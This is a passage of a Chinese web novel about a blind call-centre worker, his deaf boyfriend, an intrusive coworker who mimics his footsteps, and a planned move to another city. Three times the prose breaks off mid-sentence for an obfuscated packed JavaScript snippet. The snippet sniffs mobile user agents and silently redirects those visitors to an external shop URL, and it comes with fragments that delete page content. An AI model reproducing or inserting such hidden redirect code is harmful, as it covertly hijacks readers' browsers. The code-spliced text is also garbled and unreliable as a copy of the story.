可爱个屁啊可爱,辞了职就肯定还要找新工作,他一想到有可能又要遇见一些大傻子同事,简直烦得想一拳把地球锤爆。 可他真的不能再像这样一直换工作了。 实在是太不稳定,攒下来的钱也让易秋光看不见未来。 易秋光去残联问了问,最后又问了几个福利院的老师,在这期间,乔辽总是让他别去工作了,干脆就在出租屋里休息一段时间,当然了,这些话是乔辽让郭宝卓转达的。 才不呢。 易秋光还是想去工作的,他希望,他和乔辽的生活可以越来越好,等有钱之后,他还想给乔辽配一个助听器,那样,他就可以和乔辽说话了。 也不知道乔辽的声音是什么样,肯定会很好听吧。 工作的选择还是挺多的,但大多都有点远,上班会有些麻烦,最后,易秋光选择了一份电话客服的工作。 这家公司是卖麦克风和监听耳机的,客服就负责解决售后问题,要是有本地客户,也有可能会遇上客户到公司来的情况,到时候就得当面帮客户解决一下问题。 这份工作工资不高,却是那些可以选择的工作里,距离出租屋最近的一个。 毕竟乔辽每天都会去接他下班,要是工作的地方太远,那就太麻烦乔辽了。 所以啊,距离才是最重要的,工资什么的……易秋光想着,等这份工作稳定下来,他可以多加加班,到时候也能多拿点工资。 到那个时候,他就能把工资卡交到乔辽手上,乔辽肯定会很开心,然后亲一亲他。 这人还会抬起手,在他脸上轻轻捏一捏,那条铃铛手链也会跟着响起来。 哦不对,铃铛手链已经不会响了。 说起这个,郭宝卓前段时间刚告诉易秋光,这人说,乔辽准备去图书馆工作了。 易秋光听见这句话后,第一个想到的就是那条铃铛手链。 要在图书馆工作,整天戴着一条会响的手链肯定是不行的。 想让铃铛不响,也是一件挺简单的事,只需要在乔辽睡着之后,弄些碎纸塞进铃铛开口处,直到铃铛摇晃时不再发出声音就好了。 这件事,其实趁着乔辽醒着的时候去做也行,但易秋光不知道该怎么给乔辽表达,他琢磨过这件事,最后嫌太费脑子,想了想还是决定趁乔辽睡着了再做。 反正这也不是什么坏事,就是可惜,这条手链再也不会响了。 但没关系,只要乔辽能成功入职,工作能够顺利就行。 易秋光当时想着,这件事等过段时间遇见郭宝卓的时候,让这人给乔辽说一声就好,但易秋光工作也忙,这人忙着忙着,就把这件事给忙忘了。 新工作其实还不错,偶尔会有些忙,但遇到的那些客户都还是挺好的,也不记得是哪天了,公司来了一个客户,那个人说监听耳机出了点问题,想拿去维修一下。 其他同事都在忙,只有易秋光正好闲着,这件事就只能交给他去办了。 易秋光拿起盲杖,往公司门口走,心里还默念着那个客户的名字,总害怕等下会认错人,毕竟他没有手机,又看不见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140581|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没办法了,碰运气吧,到时候只能遇到一个人就问一下,要是问错了,那就接着再问。 好在那天公司门口没什么人,在听见脚步朝他走过来时,易秋光朝声音传来的方向开了口:“您好,请问是林先生吗?” “对,我是今天约好过来维修监听耳机的,”这人说道,“我叫林再川。” 林再川的声音很好听,笑起来也是,易秋光突然想到了乔辽。 他想着,乔辽笑起来会是什么样的声音呢,要是以后能听见就好了。 在这一刻,易秋光那种一定要好好工作的念头变得越来越强烈。 一切都是为了乔辽的声音。 易秋光带着林再川去了维修的地方,接着又带着这人忙活一通,终于解决这件事的时候,林再川对他说:“今天实在是麻烦你了。” “不麻烦,”易秋光笑了笑,“这是我的工作,问题解决了就好。” 易秋光以为,这句话就已经是结束语了。 但这个林再川又开了口:“方便问一下怎么称呼你吗?” 易秋光说:“我叫易秋光,容易的易,秋天的秋,光明的光。” “很好听的名字,”林再川笑着说,“还有一件事,说出来可能会有些冒昧。” 这话说得,知道冒昧就别说了。 但怎么说这人也是客户,易秋光客气地说道:“没事,您说。” 林再川说:“你的声音很好听,有没有考虑过从事这方面的工作?” 什么工作,还要出卖声音,一听就不太正经啊…… “谢谢您的建议,”易秋光说,“我暂时不考虑换工作。” “你拒绝得好果断,”林再川的语气听着挺遗憾的,“再考虑考虑吧,我真的觉得你很合适,因为我本身就是干这行的,配音演员这个工作你听过吗,我之前配过几部广播剧,你有空的话可以听一听,就当是了解这行了。” 易秋光已经不想听了,他敷衍着回了一句:“知道了,谢谢您。” 但这个林再川真的是个碎嘴子,这人还在继续说着:“你直接下载一个可以听广播剧的APP,搜索我的名字或者工作室的名字就行,我叫捕山月,工作室叫失眠行星。” 话太多了,话好多,小嘴巴闭起来啊! “挺好听的,这个工作还要取艺名啊,”易秋光尴尬地笑笑,“那今天就到这里吧,我也得回去继续工作了,以后如果还有什么问题,您可以打公司电话,有任何问题都可以联系我们。” “行,那你加我一个联系方式,”林再川说,“如果你哪天想通了,我就带你去工作室体验一下,我们工作室在江城——” 林再川的话都还没说完,易秋光打断了他:“林先生,不好意思,我没有手机,也没有联系方式。” 这确实是实话,但林再川似乎不这么认为。 这人就跟一根筋似的,说道:“那等我下次过来维修的时候,再找你要一次联系方式吧。” “我们公司的产品质量还是挺好的,”易秋光说,“林先生,我们下次有机会再见,我眼睛不太好,看不见,出了公司会迷路,就不送你了。” 48. 朋友 易秋光都说得这么直接了,这个林再川简直就是脑子缺根筋,这人竟然来了一句:“那我等会儿送你回去,我开车来的,保证给你送到家。” 真服了啊,有病你就去治,治不了你就去住院啊。 易秋光深呼吸一口气,笑着说道:“不用了,我男朋友会来接我的。” “这样啊,”林再川说,“我知道了。” 林再川嘴上说得好,还说什么“我知道了”,他知道个屁。 这人从那天开始,经常会到公司来找易秋光,不是麦克风坏了就是监听耳机坏了,易秋光都怀疑这人是故意来找茬的。 忍无可忍,无须再忍。 也不知道是这人第几次过来找茬了,易秋光语气不太好地问了一句:“你到底想干什么,是和我有仇吗?这次又是什么东西出问题了,你去看过耳朵没?” 易秋光本来都做好准备了,大不了就和这人吵一架,不就是丢工作吗,呜呜呜完蛋了。 这份工作一丢,那他就离乔辽的声音更远了,助听器啊,我什么才能买上啊。 可林再川根本就没有生气的意思,听这人的语气,似乎还挺兴奋的。 “就是这种情绪,这种情绪真是太好了!”林再川就跟疯了一样,整个人都散发出一种智商不太高的感觉,“趁你情绪还在,来来来,我这边有一个试音,你赶紧来试一下。” 易秋光满脑子疑问,这人也没管那么多,自顾自地说了起来,最后还来了一句:“听懂了吗,那我们开始吧。” “没懂,”易秋光问他,“你到底想干什么,你那个什么工作室是不是要倒闭了?” “呸呸呸啊,晦气晦气,瞎说什么呢,我们工作室好着呢,”也不知道林再川到底是在坚持什么,“试试吧,你就试一下又不吃亏,再说了,你干这行肯定比你干客服工资要高。” 听见“工资高”这三个字,易秋光其实是有一瞬间心动的,但他从没想过去什么江城,在洪城待得好好的,去江城干什么。 再说了,乔辽也不会去江城的。 易秋光才不要。 他板着脸,冲着林再川说:“不试。” 这已经是很明确地拒绝了,林再川的脑子绝对是有问题,这人不仅听不懂,甚至还开始装傻子。 林再川说:“那就下次,下次你一定要试试啊,我跟你说,就你这声音,绝了,绝对绝了。” 绝你大爷啊,你绝对是疯了,纯疯了。 易秋光懒得再搭理这人,是客户又怎么了,像这种爱找碴的客户,最好是别再来了。 可易秋光没想到的是,林再川这人很坚持,愣是隔段时间就来一次,就跟不会累似的。 好在公司来了新同事,易秋光想着,只要等这个同事熟悉了工作,就立马把林再川这个麻烦东西交给新同事。 新同事叫佟舟,这人每天都嘻嘻哈哈的,有一种和大家关系都很好的感觉,佟舟还总爱笑着和易秋光搭话。 每当那种时候,易秋光都会下意识远离这个人。 直觉告诉易秋光,佟舟不是什么好东西。 在经过一段时间的相处后,这种想法也变得越来越强烈。 佟舟每天都和闲得慌一样,总爱找他搭话,经常还会说一些莫名其妙的话,有的时候,这人会夸他衣服颜色真好看,还有时候,这人会问他,身上穿的新衣服是在哪儿买的。 面对这些问题,易秋光都是随便敷衍几句,对待佟舟的态度也是越来越冷漠。 但这人就跟感觉不到似的,每天都会和易秋光聊天,就算没得到什么回复,也还是会一直坚持。 易秋光觉得,他和佟舟的关系并不好,但这人似乎不这样认为。 佟舟开始给易秋光带早饭,中午也想跟着他一起去吃饭,易秋光每次都是拒绝,他说自己已经吃过早饭了,午饭也习惯了一个人吃,不习惯有人在边上坐着。 可这些话,根本就没办法让佟舟别再跟着他。 易秋光吃饭都是在食堂,要么就是在公司附近随便买一点垫垫肚子,佟舟想要找到他,是一件很简单的事,只要感觉到身边有人坐下,那就肯定是佟舟。 这人坐下后也不吃饭,就是一个劲地和易秋光说话。 佟舟先是问他:“你今天中午吃的什么?” “你自己看。”易秋光加快吃饭的速度,准备吃完赶紧走。 佟舟似乎又往他边上挨近了些,带着笑意问他:“秋光,你想不想喝点什么?我去给你买。” “不用了,”易秋光说,“我有汤喝。” “好喝吗,我还没喝过这个汤,”佟舟似乎是伸出了手,“能给我尝尝吗?” “不能。”易秋光话音刚落,就听见勺子和碗碰撞的声音,大概是碗被端起来了。 紧接着,他听见佟舟说了一句:“嗯,味道还不错,我也来一碗好了。” “这碗给你,我不喝了。”易秋光说完就要站起身。 佟舟突然一把拉过他的手:“秋光,我们是同事诶,你不要对我这么冷漠吧,我只是想和你当朋友而已。” 这话说出来就挺恶心的,谁说过想和他当朋友了,易秋光从未想过和这人当朋友,更别说这玩意儿现在还拉着他的手。 “放开。”易秋光一把甩开他的手,饭也没吃完就走了。 易秋光想着,只能等晚上下班再去吃点了,或者在家里让乔辽帮自己煮碗面。 这些事情光是想想,易秋光就会觉得很幸福,他都开始盼着下班了,因为只要一下班,乔辽就会来接他,那他就可以牵着乔辽的手,一起回出租屋了。 时间慢慢往前走,快要到下班点的时候,易秋光听见有几个人正在议论他。 其实有这种事也正常,他之前在别的地方上班时,也碰到过这种情况,易秋光不生气,也不想管,那些人想说什么就去说呗。 他就当是那些人放屁了,把那些听见的话一只耳朵进,一只耳朵出了就行。 但今天,那些人显然不想只是说两句就结束,他们的声音越来越大,笑声简直刺耳,易秋光的拳头紧了又紧,心里不停想着,忍一下,要攒钱买助听器,工作一定不能丢。 可下一秒,易秋光听见了佟舟的声音:“干什么!你们也是上班太闲了,说别人坏话都敢当面说了?” “那不然呢,不当面说还背着他说啊?”其中一个说闲话的人笑了起来,“你还帮着易秋光出头啊,他才不需要你出头,别人有男朋友管的,天天下班还来接呢,两个人牵着手走的,关系别提有多好了。” 听见这些,易秋光倒是没觉得意外。 他平时也没故意避开同事,这种事没必要避着,谈恋爱而已,又不是什么别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140582|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好的事。 倒是佟舟,这人反应还挺大的。 这人吼了一句:“男朋友怎么了!碍着你们什么事了!秋光的工作做得比你们好多了,他也不会在背地里说别人坏话!” 易秋光真觉得佟舟没必要这么激动,他自己都没什么反应,这人发什么疯,怎么还冲出来替他出头。 “他当然不会在背地里说其他人坏话了,易秋光又看不见,”笑声又开始了,现在还是好几个人一起笑,“他可能都不知道,自己边上坐着的人是谁吧。” 易秋光还是没反应,说就说吧,他等会儿就能下班了,只要牵着乔辽回了家,就听不见这些话了。 什么同事什么公司啊,都去他的吧,全世界最好的人,只有乔辽,其他人都不重要。 易秋光继续忙着手头的事,佟舟却直接站起身,冲过去和刚才说话的同事打了起来。 那个同事在公司待的时间很长,佟舟这次入职,也是让那个同事帮忙带着的。 这件事闹成这样,同事也不想教佟舟了,当场就撂了挑子,大吼着:“你不是喜欢帮着易秋光说话吗,那你就让他带你,你他妈最后肯定连实习期都过不了!” 佟舟这么一闹,易秋光要是继续不搭理他,那就显得不太好了。 不管怎么说,这人刚才确实是替自己出了头,虽然这件事,纯属没有必要。 但现在,易秋光也不好再对着佟舟摆脸子了。 这人也挺没脸没皮的,走到易秋光边上后,一把握住他的手,接着带着这只手往上,佟舟说:“你摸摸我的脸,摸到了吗?” “怎么了?”易秋光甩开他的手,“别动手动脚的,我们关系没这么好。” “你没摸出来啊……”佟舟语气听着挺委屈的,“刚才那个人用文件夹打我来着,在我脸上划了一道,好疼。” “那你擦点药,”易秋光顿了顿,又说,“刚才谢谢你,但以后没必要这样,他们爱说什么是他们的事,对我没有任何影响。” “那不行,我看不下去,”佟舟坐到易秋光边上,拿起一支笔不停按着,“我今天都闹成这样,以后就真的没有人带我了,你管管我吧,秋光,我要是实习期没过……那可怎么办啊。” “能过,放心吧,”易秋光敷衍着,“我觉得你没问题。” 话刚说完没几天,这人就让易秋光知道了,什么叫真的没脑子。 很简单的问题,佟舟愣是什么都不会,领导问他,这段时间是谁带的,佟舟竟然来一句:“是易秋光带的。” 那一瞬间,易秋光简直想问候他全家。 也不知道领导是怎么想的,最后竟然把易秋光叫去单独聊了聊,易秋光说他根本就没带过佟舟,但领导摆了摆手,说道:“他说是你带的,那就是你带的,我再给你每个月多加点工资,你好好带带佟舟。” 早这样不就完了,既然加了工资,易秋光也就没什么好说的了,更何况领导也没为难他什么。 加工资挺好的,加工资就可以更早买上助听器了。 易秋光刚高兴了没多久,领导又说:“从明天开始,你多在佟舟身上费费心,每天晚上带着他加班,给他多讲讲。” “加班多久?”易秋光问道。 “半小时左右,”领导说,“看你想怎么教,多教一会儿也没事,我会给你算加班费的。” 49. 江城 半小时的加班时间,其实也还好。 就是得麻烦乔辽多等一等他了。 易秋光在心底不停叹气,他光是想想以后的日子,都觉得糟心得很,但人嘛,出来上班都是为了挣钱的,有钱不挣王八蛋啊,带就带吧,只要佟舟别发疯就行。 但到了下午,佟舟就开始发疯了。 易秋光这两天本来就有点感冒,整个人晕晕乎乎的,还有点鼻塞,他坐在那儿给佟舟慢慢讲着,说着说着还会清清嗓子。 “你是不是不太舒服?”佟舟伸出手往他额头上碰,接着又摸了摸他的脸,“还好,没发烧。” “你别碰我,”易秋光深吸一口气,往边上坐了点,想要和这人拉开距离,“以后别这样,我讨厌别人碰我。” “你看看你,这么激动干什么,我是在关心你啊,又不是想干些什么别的,”佟舟笑着说,“不过我有个问题想问你。” 易秋光问:“什么?” “你那个男朋友,应该对你很好吧,”听声音,佟舟似乎喝了一口水,“他肯定对你很用心,把你养得这么好,长得好看,皮肤还白,好羡慕你男朋友。” “我不想和你聊这些,”易秋光说,“刚才说的那些工作上的事情,你还有哪里不明白的吗?” “不要这么严肃嘛,我就是想和你随便聊聊。”佟舟说完这句话,又喝了一口水。 易秋光挺纳闷的,佟舟刚才过来的时候,手里拿水了吗,他没听见水杯放下的声音,也没摸到桌上多了什么。 想到这里,易秋光伸手往边上摸了摸。 “你要喝水?”佟舟“哎哟”一声,语气中带着点歉意,“我刚才把你的水都喝完了,现在反正也没什么事,我带着你再去买一瓶。” “不用了,”易秋光深呼吸一口气,压下自己的情绪,“你别再动我的东西了。” 佟舟什么都没说,还是一直坐在边上,也不知道究竟是想干什么。 爱坐在那儿就坐着吧,反正今天该说的也说完了,易秋光不想再和他多说一句。 可当他站起身要去厕所时,佟舟也跟着站了起来,这人没跟在他边上,而是一直在后面走。 易秋光走一步,他就跟着走一步。 最后,他们的步子快要变得一样。 这一瞬间,易秋光感到有些害怕,因为在恍惚之间,他竟然会把这种脚步声误认成乔辽。 但下一秒,易秋光那种恐惧变得更深。 因为他突然想到,脚步声就算再怎么容易模仿,也不可能一次就学会。 佟舟……到底跟着他走了多久? 这种心慌一直持续到下班之后,当乔辽牵上他的手,易秋光心里还会有些犯嘀咕。 他时不时就会想着,这个牵着他的人,到底是乔辽还是佟舟? 感冒就是会这样,嗅觉失灵,吃什么都没味道,就连听力都变得不太好。 易秋光心里纳闷得不行,下一秒,他突然意识到,这条街道是陌生的,乔辽很少带他来这边。 所以现在牵着他的人,是佟舟? 易秋光晃了晃他们牵着的手,带着这人停下来,接着就在这个人手掌心里画了个问号。 意思是:你要带我去哪儿? 这个人抬起了手,在他嘴角点了点,然后又快速轻点几下。 什么意思啊。 但这个人,应该是乔辽没错吧,佟舟不可能会知道这些,肯定不会。 身边人牵着他继续往前走,过一会儿后,易秋光听见有人说:“您好,欢迎光临,两位是吗?” 易秋光一下子就紧张起来,他点了点头,下意识地握紧身边人的手。 身边人继续带着他往前走,这个地方还挺吵的,易秋光心里的不安也越来越强烈,紧接着,又有人走了过来,这人说:“您先看一下菜单,最上面的几道菜是我们店的招牌菜,有多种口味可以选择。” 原来是来吃饭吗,怎么突然来这种店里吃饭…… 发工资了?那也不对啊,还没到乔辽发工资的时间。 那是为什么? 易秋光想了又想,最后还是没琢磨明白。 算了,不想了,本来就头晕难受,想些问题更是累得不行,他在心底叹出一口气,身边人突然在他坐着的椅子上轻拍两下,大概是让他坐在这儿,先不要动。 易秋光点了点头,身边人也站了起来。 旁边一下子空了下来,易秋光又开始害怕了,他突然想到今天在公司里,佟舟做出的那些事,这人到底为什么要模仿他的步子? 易秋光坐在那里放慢呼吸,仔细听着身边的声音,当一阵脚步声朝他走过来时,他立马笑着抬起头望过去。 这道脚步声,一定是乔辽的。 易秋光非常肯定。 当乔辽坐下后,易秋光摸索着握住他的手,轻轻地捏着乔辽每一根手指,关节部位也会轻捏上两下。 他想要更熟悉身边人,也想让这种触碰变得更加深刻,最重要的是,易秋光此刻太缺安全感了。 乔辽大概也感觉到了他的情绪,这人在他手心画出一个问号,大概是在询问易秋光:你怎么了? 太烦了,我不太高兴,我好累啊,感冒了好难受,今天有同事说我坏话,虽然我不在意,但我现在开始委屈了,烦死了,那个佟舟也是神经病,他还摸我来着,你赶紧过去揍死他。 但这些话,易秋光都没有告诉乔辽。 因为他没办法表达出来,最后,他只是笑着对着乔辽摇了摇头。 我没事,我很好啊,就是今天好想你。 只要待在乔辽身边就好。 乔辽身边是最好的避风港。 也不知道过了多久,点的菜终于上桌了,乔辽就和以前那样,一直往他碗里夹菜,还都是他爱吃的菜,虽说他感冒了,没尝出什么味道,但幸福的心情是不会变的。 易秋光高兴地吃着,听着身边人动筷子的声音,他想着,反正乔辽也在吃,就算他没什么胃口,也会陪着乔辽一起吃完这顿饭。 最后,他实在是撑得不行,吃了好多菜,还把手里那碗饭也吃完了,他放下筷子,乔辽也跟着把筷子放下。 易秋光冲着他比出一个大拇指,意思是:好吃。 这些菜到底是什么味儿啊,没吃出来。 但乔辽吃了这么多,肯定是很好吃的味道,夸就对了。 这顿饭吃完,易秋光还以为他们要回家,但乔辽又带着他去了别的地方,这条路还是挺熟悉的,乔辽应该是想去找郭宝卓。 这样也好,易秋光正好能让郭宝卓帮忙转达一下,自己从明天开始要加班的事。 走到一半的时候,乔辽带着他停了下来,然后他听见了郭宝卓的声音:“你们怎么过来了,哟,刚才去吃饭了啊?” “刚吃完饭,”易秋光说,“乔辽带着我过来的。” 再然后,他就不知道郭宝卓和乔辽在说什么了。 乔辽牵着他,去了郭宝卓出租屋,带着他坐到床边。 郭宝卓递给他一罐冰的东西,实在是太冰了,易秋光都没忍住吸了吸鼻子。 他把这东西拿在手里摸了摸,摸着挺像是什么喝的,他正准备摸摸看开罐的拉环在哪里,但下一秒,手里的东西就被拿走了。 易秋光愣了愣,不明白现在是什么情况。 紧接着,易秋光听见了搓手的声音,然后就是乔辽的手碰上了自己的脸。 这人在他脸上一通摸,一会儿额头一会儿侧脸,又往他喉结上碰了碰,最后在他大腿上画了个问号。 易秋光估计着,是自己刚才吸了吸鼻子,被郭宝卓听见了,然后这人给乔辽告了状,郭宝卓啊……在告状这方面,你真是第一名。 易秋光对着乔辽的方向摆了摆手,接着对郭宝卓那边说:“我没事,喉咙也不疼,就是有点堵鼻子,别的什么事都没有。” 过了一会儿后,易秋光又说:“你顺便帮我给乔辽说一声,我们公司最近来了个新同事,他对工作不是很熟悉,我要带他一段时间,最近下班可能会晚点,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140583|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概比平时晚半个小时。” 再然后,郭宝卓开口说:“我给乔辽说了,他说,你下班再晚都没事,他还是会在之前那个地方等你的,他说,说不定你哪天又能早点下班了,不用等半个小时,但他不想迟到,所以没关系,他还是会在那个时间去等你。” 乔辽怎么会这么好。 要是他现在给乔辽说,自己遇到一个傻逼同事,乔辽会不会立马心疼地抱着他,然后捏捏他的掌心,在他额头落下一个吻。 这个想法刚出现的下一秒,易秋光就想着,算了。 没必要说。 谁还没遇到过有病的同事啊,这种事说出来只会让乔辽担心,还是算了吧。 易秋光就这么坐在那儿,感受着乔辽抬手比画时带起的风,很轻柔,就和乔辽一样。 只可惜他看不见,坐在这里也确实挺无聊的,易秋光只能时不时和郭宝卓说一句话,大多时候,易秋光都是在问:“乔辽在说什么?” 也不知道这个问题问了多少次,郭宝卓又回答了多少次,身边人突然站起身拿了个什么,然后,易秋光听见了打开拉环的声音。 乔辽把那罐喝的递到他手边,易秋光接过后,先是放到鼻子边闻了闻。 但可惜,他什么都没闻出来。 易秋光喝了一小口,挺冲人的。 “这是什么?碳酸饮料吗,”易秋光嘀咕一句,“我一感冒就闻不到味道,也尝不出来,只觉得有汽。” “对,”郭宝卓说,“是可乐。” 几秒后,郭宝卓又说:“乔辽说,他等会儿带你去买点感冒药。” 这句话结束后,郭宝卓就没再说话了,身边坐着的人好像也没再抬手比画。 气氛一下子就变得很奇怪,易秋光都感到有些尴尬,他把可乐递到嘴边又喝了一口。 难喝死了。 好难喝,好无聊,好烦啊。 易秋光都快要在这里待不下去了,郭宝卓突然喊了他一声,接着说道:“我准备去江城工作了,你们两个要不要跟着我一起去?” “江城?你怎么突然想着去那么远?”易秋光想了想,说道,“你这几天就要走了吗?” “对,我已经把工作安排好了,”郭宝卓说,“怎么样,你和乔辽想不想跟着一起来?” “去是可以去,就是找工作挺麻烦的,可能要麻烦你去残联问一下,你也知道,我适应一个地方需要时间,”易秋光说,“而且我们那个房子的房租要等到十二月才能退,不然要扣押金,钱挺多的,我还是想把钱拿到手了再走。” “可以啊,不用着急,残联那边你放心,就算你不说,我也会去问问的,”郭宝卓说,“主要问题就是,我要先去江城,你们两个又没有手机,我要是走了就联系不上你们了,所以我想提前和你们商量一下,要是你们愿意过去,我就帮你们买票,定好时间,我到时候再去接你们。” “知道了,”易秋光沉默了一会儿,说道,“我听乔辽的,他说去就去,不去就不去。” 易秋光说完这些,又过了一会儿,郭宝卓对他说:“乔辽说,他都可以,如果你喜欢江城,那就去。怎么样,你考虑好了吗,其实江城离这里也不远,你们要是想回来待几天,随时都可以啊,等我到时候有钱了买辆车,你们想什么时候回来都可以。” 郭宝卓刚说完这些,乔辽就往易秋光手里递了什么,郭宝卓立马开口:“吃吧,是西瓜。” 西瓜不太冰,吃进嘴里也尝不出什么甜味,这个感冒真是太烦人了。 易秋光咬上一口,乔辽就帮他擦一擦嘴,易秋光一边吃一边想,江城啊……江城到底好不好啊。 没去过,他也不知道那边到底怎么样。 但人嘛,还是想去更多地方的,易秋光也想听见更多的声音,闻到更香的花,再用手去触碰另一个从未接触过的城市。 于是,在吃完手里那块西瓜之后,易秋光说:“那就去。” 那就去吧,反正只要有乔辽在。 他就什么都不怕。 50. 委屈 现在的易秋光,是对未来有期待的。 他想着,既然都要去江城了,那他就把手头的事好好做完,这份工作一定不能再出岔子,要不然,等到时候去了江城,手上的钱会不够的。 好好工作,多多挣钱。 到时候就能和乔辽一起,在江城租个大点的房子,乔辽也能戴上助听器了。 易秋光越想越觉得生活有盼头,恨不得现在就冲去公司开始加班。 但他现在面对的不是加班,而是喝药。 药难喝,药还苦,易秋光挺纳闷的,为什么他吃什么喝什么都没味道,偏偏这个药……一喝就能喝出苦味。 好难喝,感觉药在嘴里打架。 易秋光握紧手里的杯子,想找个地方偷偷藏起来,但乔辽估计就在边上盯着他,真服了。 没办法了,易秋光又喝上一口药,接着继续摸手里的杯子,装作他现在很忙的样子,喝药什么的,等会儿再说吧。 但乔辽能看见,这人走到他面前,在杯子上点了点,大概是想说:别摸了,喝药。 好吧,喝就喝。 易秋光一口气喝光杯子里的药,下一秒就差点吐出去,乔辽抬手摸了摸他的脑袋,接着就在他额头上亲了亲。 这就是乔辽的夸奖了。 易秋光在这一刻还挺骄傲的,看吧,我喝药多快!这药可好喝了,再来两杯也可以! 他笑着站起身,准备去洗一下杯子,但乔辽又让他坐了回去,这人拿走他手中的杯子,走到洗手池边慢慢洗着。 乔辽总是这样,从不让易秋光干些什么,这人是不是觉得他什么都干不了啊,他怎么说也是在福利院长大的,能适应集体生活,自理能力肯定也不会差。 但在乔辽这里,易秋光好像什么都不会做。 这个问题,他也问过郭宝卓,这人当时说:“乔辽心疼你,他恨不得连班都不让你上,只要你好好的,那他就能幸福一辈子了。” 幸福一辈子啊。 易秋光听见这句话,刚开始还有点不好意思,后面又觉得乔辽这人也太能胡说了。 什么一辈子啊,这事儿太长了,又太远。 下一秒,洗杯子的水声停了下来,接着就是放下杯子的声音,乔辽也朝他走了过来。 易秋光突然就觉得,好像……他也可以幸福一辈子。 这事儿确实太远,但这种幸福实在是太具体了,易秋光好想好想和乔辽在一起一辈子。 可是……乔辽会不会嫌他事儿多啊。 比如之前,乔辽买了个新杯子,摸着有图案,应该是陶瓷的,易秋光其实用过几次,但有一次,他放下杯子时,位置没找准,差一点就让杯子掉到地上了。 其实易秋光挺喜欢用杯子喝水的,但他总害怕自己会给乔辽添麻烦。 摔碎杯子就是一个麻烦。 碎掉的杯子需要收拾,还需要很久去慢慢收拾,乔辽是个细心的人,他肯定会在家里拖拖扫扫忙活半天,确定每个角落都收拾干净后,才肯放下心。 说实话,易秋光很喜欢这种时候,每当乔辽为他忙前忙后,易秋光就会觉得自己非常非常幸福,那是一种非常不懂事的感情。 就像一个做错事的人,却不害怕会被责骂,也不怕自己收拾不了残局。 易秋光想干什么就干什么,一切都有乔辽。 在公司的时候,易秋光也不会用杯子,他大多数时候是用公司的一次性纸杯,还有时会买一瓶矿泉水喝。 也有同事问过他,怎么不买个杯子放在桌上,想喝水的时候去接一杯就好了,这份工作本来就得久坐,去接杯水还能顺便走动走动。 当时的易秋光只是笑了笑,什么都没说。 现在想了想,还好他没真的买个杯子带去公司。 其实易秋光可以买个塑料杯,或者买个不锈钢的,但他每次都嫌麻烦,懒得去买。 也还好他真的没买。 要是他真的买了,又被佟舟那个神经病拿起来喝一口的话,那这个杯子就要被易秋光扔进垃圾桶了。 买杯子是要花钱的,但被佟舟喝过的杯子是恶心的。 扔了心疼钱,不扔恶心人。 去他的佟舟!纯神经病啊! 易秋光在心里骂了佟舟一夜,第二天去公司之后,在听见这人的声音时,又把这人骂了好久。 真的怎么骂都骂不够。 今天的佟舟比昨天更有病,这人还是一直跟着他走,模仿着他的脚步,到了晚上加班结束时,还拿着一把伞说要送他。 送个屁啊,我有男朋友接的! 易秋光没搭理佟舟,打开盲杖就往公司外面走,但他能听见熟悉的脚步声,一直都跟在自己身后。 “你为什么要学我走路?”易秋光皱眉问道。 “我没学啊,”佟舟笑着说,“我走路的步子跟你很像吗,那我们还真是挺有缘分的。” “没缘分,你别再和我说话了,”易秋光说,“我男朋友看见要误会的。” 佟舟“嗐”了声,说道:“不会的,他要是真的误会,那就是太小气了,对你一点信任都没有。” 紧接着,易秋光听见撑开伞的声音,佟舟说:“我送你回去吧,下这么大的雨,你也不方便。” 易秋光摇了摇头,说道:“我男朋友来接我了。” “没来,”佟舟笑着拽住他的盲杖,“我没看见他啊,他肯定有事去忙了,我送你就好了。” 放屁,我都听见乔辽走路的声音了。 乔辽肯定来了。 下一秒,佟舟放开了盲杖,易秋光朝脚步声传来的方向伸出手。 这只手,是乔辽的没错。 他被乔辽带着往前走了两步,走进了伞下,易秋光听见雨水落在伞面啪嗒啪嗒响着,这声音,在此刻也不显得吵,因为易秋光心情好。 “你就是秋光的男朋友啊,我听秋光提起过你,”佟舟笑着说,“我本来是准备送他回家的,既然你来了,那我就把他交给你了。” “他听不见,”易秋光的语气明显不太好,“就算他今天不来,我也不会跟着你走。” 佟舟没搭理易秋光,也不知道这人是在干什么,乔辽也一直不带着他回去,就这么站在公司门口。 也不知道过了多久,乔辽终于带着他往回去的方向走。 但乔辽走得太快了,下雨的地面还有些滑,他匆忙收起盲杖,轻捏两下乔辽的手,在这人掌心画出一个问号。 乔辽牵着他的手晃了晃,大概是想告诉他:没事。 真的没事吗? 可这人走得好快,也没帮他好好撑着伞。 易秋光的衣服都被雨水打湿了,后背都被淋得湿透了,他的感冒还没好,今天又被这么淋了一通。 他不信,乔辽肯定是出了什么事。 